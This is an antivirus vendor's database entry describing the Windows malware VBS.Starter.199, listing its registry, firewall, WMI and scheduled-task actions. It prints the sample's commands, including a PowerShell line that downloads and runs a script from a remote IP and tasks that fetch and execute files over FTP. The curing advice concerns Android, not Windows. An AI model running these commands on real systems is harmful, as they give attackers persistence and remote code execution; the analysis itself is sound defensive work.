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VBS.Starter.199

Added to the Dr.Web virus database: 2020-08-11

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhos.exe] 'Debugger' = 'ntsd -d'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhou.exe] 'Debugger' = 'ntsd -d'
  • [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo.exe] 'Debugger' = 'ntsd -d'
Creates or modifies the following files
  • <SYSTEM32>\tasks\mysa
  • <SYSTEM32>\tasks\mysa2
  • <SYSTEM32>\tasks\oka
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\MpsSvc] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\PolicyAgent] 'Start' = '00000002'
Malicious functions
Executes the following
  • '%WINDIR%\syswow64\taskkill.exe' /f /im msinfo.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im conhos.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im conhou.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im help.exe /im doc001.exe /im dhelllllper.exe /im DOC001.exe /im dhelper.exe /im conime.exe /im a.exe /im docv8.exe /im king.exe /im name.exe /im doc.exe /im wodCmdTerm.exe /im win1ogins.e...
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=block
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="tcpall" dir=out protocol=tcp localport=0-65535 action=allow
Downloads
  • http://18#.##.113.95:8095/batpower.txt
Modifies file system
Creates the following files
  • %WINDIR%\temp\n.vbs
  • %WINDIR%\temp\ntuser.dat
  • %WINDIR%\temp\c3m.bat
Deletes the following files
  • %WINDIR%\temp\n.vbs
Miscellaneous
Searches for the following windows
  • ClassName: 'EDIT' WindowName: ''
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\TEMP\n.vbs"
  • '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\temp\c3m.bat" "' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\temp\c3m.bat" "
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filteraction name=deny action=block
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filteraction name=Allow action=permit
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filterlist name=denylist
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add filterlist name=Allowlist
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add policy name=win
  • '%WINDIR%\syswow64\netsh.exe' advfirewall set allprofiles state on
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall delete rule name="tcpall" dir=out
  • '%WINDIR%\syswow64\netsh.exe' ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall delete rule name="deny tcp 139" dir=in
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall delete rule name="tcp all" dir=in
  • '%WINDIR%\syswow64\netsh.exe' ipsec static delete filteraction name=allow
  • '%WINDIR%\syswow64\netsh.exe' ipsec static delete filterlist name=denylist
  • '%WINDIR%\syswow64\netsh.exe' ipsec static delete filterlist name=Allowlist
  • '%WINDIR%\syswow64\netsh.exe' ipsec static delete policy name=win
  • '%WINDIR%\syswow64\net1.exe' start MpsSvc
  • '%WINDIR%\syswow64\net.exe' start MpsSvc
  • '%WINDIR%\syswow64\sc.exe' config MpsSvc start= auto
  • '%WINDIR%\syswow64\schtasks.exe' /Delete "\Microsoft\Windows\UPnP\Services" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "at2" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "at1" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "updat_windows" /F
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall delete rule name="deny tcp 445" dir=in
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="coronav2" DELETE
  • '%WINDIR%\syswow64\timeout.exe' /t 23 /nobreak
  • '%WINDIR%\syswow64\find.exe' "5.1."
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"kuckavv3\"", Consumer="CommandLineEventConsumer.Name=\"kuckavv4\""
  • '%WINDIR%\syswow64\cmd.exe' /c start wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"kuckavv3\"", Consumer="CommandLineEventConsumer.Name=\"kuckavv4\""
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="kuckavv4", CommandLineTemplate="cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wm...
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="kuckavv3", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 13000 WHERE ...
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='killmm4'" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="killmm4" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="killmm4" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="killmm3" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckamm4'" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckamm4" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckamm4" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckamm3" DELETE
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "AdobeFlashPlayer" /F
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='coronav2'" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="coronav2" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="coronav" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='fuckyoumm3'" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckayoumm3" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="fuckyoumm4" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm4" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='Windows Events Filter'" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="Windows Events Consumer" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="Windows Events Consumer4" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="Windows Events Filter" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH ActiveScriptEventConsumer WHERE Name="fuckyoumm2_consumer" DELETE
  • '%WINDIR%\syswow64\wbem\wmic.exe' /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="fuckyoumm2_filter" DELETE
  • '%WINDIR%\syswow64\netsh.exe' ipsec static set policy name=win assign=y
  • '%WINDIR%\syswow64\cmd.exe' /S /D /c" ver "
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "System Security Check" /F
  • '%WINDIR%\syswow64\sc.exe' delete rpcept
  • '%WINDIR%\syswow64\net1.exe' stop remotecall
  • '%WINDIR%\syswow64\sc.exe' delete "WinTaskCtrlService"
  • '%WINDIR%\syswow64\net1.exe' stop "WinTaskCtrlService"
  • '%WINDIR%\syswow64\sc.exe' delete "Network Remote"
  • '%WINDIR%\syswow64\net1.exe' stop "Network Remote"
  • '%WINDIR%\syswow64\sc.exe' delete NetworkServices
  • '%WINDIR%\syswow64\net1.exe' stop NetworkServices
  • '%WINDIR%\syswow64\sc.exe' delete netsv
  • '%WINDIR%\syswow64\net1.exe' stop netsv
  • '%WINDIR%\syswow64\sc.exe' delete MicrosoftMsql
  • '%WINDIR%\syswow64\net1.exe' stop MicrosoftMsql
  • '%WINDIR%\syswow64\sc.exe' delete clr_optimization_v4.0.30328_64
  • '%WINDIR%\syswow64\sc.exe' delete remotecall
  • '%WINDIR%\syswow64\net1.exe' stop clr_optimization_v4.0.30328_64
  • '%WINDIR%\syswow64\net1.exe' stop msupdate
  • '%WINDIR%\syswow64\sc.exe' delete ASBservice
  • '%WINDIR%\syswow64\net1.exe' stop ASBservice
  • '%WINDIR%\syswow64\cmd.exe' /c net1 stop ASBservice
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\debug\winu.bat /e /d system
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\debug\item.dat /e /d system
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\system\msinfo.exe /e /d system
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\temp\conhos.exe /e /d system
  • '%WINDIR%\syswow64\cacls.exe' %WINDIR%\temp\conhou.exe /e /d system
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhou.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
  • '%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhos.exe" /v Debugger /t REG_SZ /d "ntsd -d" /f
  • '%WINDIR%\syswow64\sc.exe' delete msupdate
  • '%WINDIR%\syswow64\wbem\wmic.exe' process where "name='services.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\services.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\services.exe'" delete
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "Update3" /F
  • '%WINDIR%\syswow64\net1.exe' stop csrss
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "Update4" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "Update2" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "Update" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "Windows_Update" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "at6" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "WindowsUpdate3" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "\Microsoft\Windows\RAC\BackUpEvent" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "OfficeUpdaterA" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "WindowsUpdate1" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "\Mysa1" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "ok" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "Mysa3" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "windowsinit" /F
  • '%WINDIR%\syswow64\wbem\wmic.exe' process where "name='lsass.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\lsass.exe'" delete
  • '%WINDIR%\syswow64\wbem\wmic.exe' process where "name='WUDFHosts.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\WUDFHosts.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\WUDFHosts.exe'" delete
  • '%WINDIR%\syswow64\wbem\wmic.exe' process where "name='csrss.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\csrss.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\csrss.exe'" delete
  • '%WINDIR%\syswow64\wbem\wmic.exe' process where "name='wininit.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\wininit.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\wininit.exe'" delete
  • '%WINDIR%\syswow64\wbem\wmic.exe' process where "name='svchost.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\svchost.exe' and ExecutablePath<>'C:\\WINDOWS\\syswow64\\svchost.exe'" delete
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "MicrosoftsWindowsu" /F
  • '%WINDIR%\syswow64\schtasks.exe' /Delete /TN "MicrosoftsWindows" /F
  • '%WINDIR%\syswow64\schtasks.exe' /create /tn "oka" /tr "cmd /c start %WINDIR%\inf\aspnet\lsma12.exe" /ru "system" /sc onstart /F
  • '%WINDIR%\syswow64\schtasks.exe' /create /tn "Mysa2" /tr "cmd /c echo open ftp.ftp0212.site>ps&echo test>>ps&echo 1433>>ps&echo get sab.rar %WINDIR%\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&%WINDIR%\help\lsmosee.exe" /ru "s...
  • '%WINDIR%\syswow64\schtasks.exe' /create /tn "Mysa" /tr "cmd /c echo open ftp.ftp0212.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get b.exe %WINDIR%\update.exe>>s&echo bye>>s&ftp -s:s&%WINDIR%\update.exe" /ru "system"...
  • '%WINDIR%\syswow64\sc.exe' delete "windows audio control"
  • '%WINDIR%\syswow64\net1.exe' stop "windows audio control"
  • '%WINDIR%\syswow64\sc.exe' delete csrss
  • '%WINDIR%\syswow64\net1.exe' stop rpcept
  • '%WINDIR%\syswow64\cmd.exe' /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://18#.##.113.95:8095/batpower.txt')

Curing recommendations

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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